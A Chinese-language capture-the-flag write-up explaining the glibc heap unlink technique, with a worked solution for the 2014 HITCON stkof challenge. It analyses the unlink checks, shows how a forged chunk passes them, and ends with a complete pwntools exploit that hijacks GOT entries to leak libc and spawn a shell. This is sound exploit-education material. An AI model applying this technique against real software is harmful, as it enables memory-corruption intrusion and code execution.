Unlink 2014 HITCON stkof

Unlink

在free堆块时,要满足释放的该chunk不在tcache(0x420)或fastbin(0x80)范围内,free的chunk物理地址前或后有freechunk时会进行unlink操作,unlink就是把这个chunk从双向链表里拿下来

调用关系大致如下

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
	_int_free(){
		unlink();
	}
}

unlink是一个宏

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        if (!in_smallbin_range (P->size)				      
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
	      malloc_printerr (check_action,				      
			       "corrupted double-linked list (not small)",    
			       P, AV);					      
            if (FD->fd_nextsize == NULL) {				      
                if (P->fd_nextsize == P)				      
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      
                else {							      
                    FD->fd_nextsize = P->fd_nextsize;			      
                    FD->bk_nextsize = P->bk_nextsize;			      
                    P->fd_nextsize->bk_nextsize = FD;			      
                    P->bk_nextsize->fd_nextsize = FD;			      
                  }							      
              } else {							      
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      
              }								      
          }								      
      }									      
}
// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

  // largebin 中 next_size 双向链表完整性检查 
              if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);

Unlink这里会有几个检测

  • 检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
  • 检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
  • 经常被释放chunk的fd的bk是否指向p,被释放chunk的bk的fd是否指向p

我们着重分析一下这里

    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;

我们怎么绕过检测通过unlink实现任意地址读写呢

在64位程序下,我们被unlink的chunk是P

我们伪造chunk P

P->fd = target addr -0x18

P->bk = expect value

FD = P->fd = target-0x18

BK = P->bk = expect value

FD->bk = BK —>*(target-0x18+0x18)=*(P->fd+0x18)=BK=expect value

BK->fd = FD —>*(expect value+0x10)=FD=target-0x18=P->fd

实现了任意地址读写但是没有绕过 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

也就是我们需要*(FD+0x18)=P *(BK+0x10)=P

如果我们可以在堆地址的某个地方伪造或者找到一个合适fake_chunk,这个chunk地址可以泄露出来,且符合=P要求,我们把这个地址写到chunk P的fd和bk,在unlink时会发生什么呢

通过上面的分析,可以得知,

  • 第一步*(target)||*(P->fd+0x18)写入expect value||BK
  • 第二步会在*(expect value+0x10)||*(p->bk+10)写入target-0x18||P->fd
  • 如果我们可以控制这个地址内容,也就是可以using after free,通过修改该地址内容就可以实现hook

2014 HITCON stkof

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof

grxer@Ubuntu16 ~/D/p/heap> checksec stkof
[*] '/home/grxer/Desktop/pwn/heap/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序里有用的功能

  • alloc分配内存,并写到bss段0x602140的全局数组里
  • free释放并置零指针,好评尼
  • fill填充申请堆区
signed __int64 fill()
{
  int i; // eax
  unsigned int idx; // [rsp+8h] [rbp-88h]
  __int64 size; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  idx = atol(s);
  if ( idx > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !globals[idx] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  size = atoll(s);
  ptr = globals[idx];
  for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
  {
    ptr += i;
    size -= i;
  }
  if ( size )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

这里的fill是有漏洞的,我们可以限定大小的堆里写入任意大小的数据造成堆溢出

堆溢出给了我们伪造unlink_chunk的机会,global指针数组给了我们伪造fd bk绕过检测的机会

缓冲区问题

alloc(16)
alloc(32)
alloc(48)

我们这里先alloc三个堆块

在这里插入图片描述

这里发现多了两个堆块在alloc(16)中间,这是因为程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。在第一个malloc时,刚好有fget和printf

第一个chunk被包围不好利用,所以我们选择绕过第一个

实现fill地址可控

这里我们申请三个堆块,

alloc(0x10)
alloc(0x30)
alloc(0x80)

利用堆溢出,可以伪造unlink——chunk,我们选择在堆块二伪造

chunkhead需要0x10字节,fd bk需要0x10字节,后面数据需要0x10字节,第二个堆块至少0x30

第三个堆块需要在free的时候出发unlink操作,需要大于fastbin最大容量,申请0x80即可

  • chunkhead伪造p64(0x0)+p64(0x30)即可
  • fd和bk这里我们需要FD->bk = P && BK->fd = P
    • 这里我们可以利用globa指针数组里内容伪造双向链表

    • 这时候我们的伪造unlink堆P=0x0000000002c87450我们选取0x602138作为fd刚好满足FD->bk = P

    • 在这里插入图片描述

    • 选取0x602140作为bk刚好满足BK->fd = P

    • 在这里插入图片描述

    • 这里我们只需要关系FD的bk和BK的fd就好其他和我们unlink无关比如说我们FD的fd,我管你指向谁,我们不关心

payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666)

伪造好unlinkchunk,伪造chunk3,把prevsize改写为伪造chunk大小,把size PREV_INUSE位置零

payload += p64(0x30)+p64(0x90)

然后我们去释放chunk3 触发unlink

按照我们先前的分析

  • 先把fd+0x18=0x602138+0x18=0x602150地址写入bk=0x602140
  • 再把bk+0x10=0x602140+0x10=0x602150地址写入fd=0x602138

在这里插入图片描述

和分析一样

任意地址读写,leak数据,拿shell走人

这样我们fill chunk2时就可以,修改全局指针数组为任何地址,再通过fill修改这个地址为任何值

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)

edit(2,len(payload),payload)

这样s[0]=free_got,s[1]=puts_got,s[2]=atoi_got

在这里插入图片描述

payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)

先把freegot改为puts plt,这样free(1)==puts(puts_got)

leak出libc后

payload = p64(system)
edit(2,len(payload),payload)

把atoi_got改为system。利用choice = atoi(nptr);在输入时构造binsh即可payload = ‘/bin/sh\x00’
io.sendline(payload)

在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./stkof'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def alloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.recvuntil(b'OK\n')


def edit(idx, size, content):
    io.sendline(b'2')
    io.sendline(str(idx).encode())
    io.sendline(str(size).encode())
    io.send(content)
    io.recvuntil(b'OK\n')


def free(idx):
    io.sendline(b'3')
    io.sendline(str(idx).encode())
# db('b* 0x4009E6')#alloc
db('b* 0x400AE3')#edit
# db('b *0x400BA7') #free
head=0x602140
free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']
alloc(0x10)
alloc(0x30)
alloc(0x80)
payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666)
payload += p64(0x30)+p64(0x90)
edit(2,len(payload),payload)
free(3)

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)
ru(b'OK\n')
puts_ad=u64(r(6).ljust(8,b'\x00'))
p('puts',puts_ad)
libc=LibcSearcher('puts',puts_ad)
base=puts_ad-libc.dump('puts')
system=libc.dump('system')+base
bin=libc.dump('str_bin_sh')+base
payload = p64(system)
edit(2,len(payload),payload)
payload = '/bin/sh\x00'
io.sendline(payload)
io.interactive()

总结

如果我们找到或伪造地址里面的值是伪造的chunkP的地址值

  • 一个地址

    我们把该地址tar,tar-0x18填入fd绕过FD+0x18=P,tar-0x10填入bk绕过BK+0x10=P

    最终实现效果是在该tar地址写入tar-0x18

  • 两个地址

    tar1 和 tar2 tar1-0x18写入fd,tar2-0x10写入bk

    tar1地址写入tar2-0x10|bk值

    tar2地址写入tar1-0x18|fd值

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值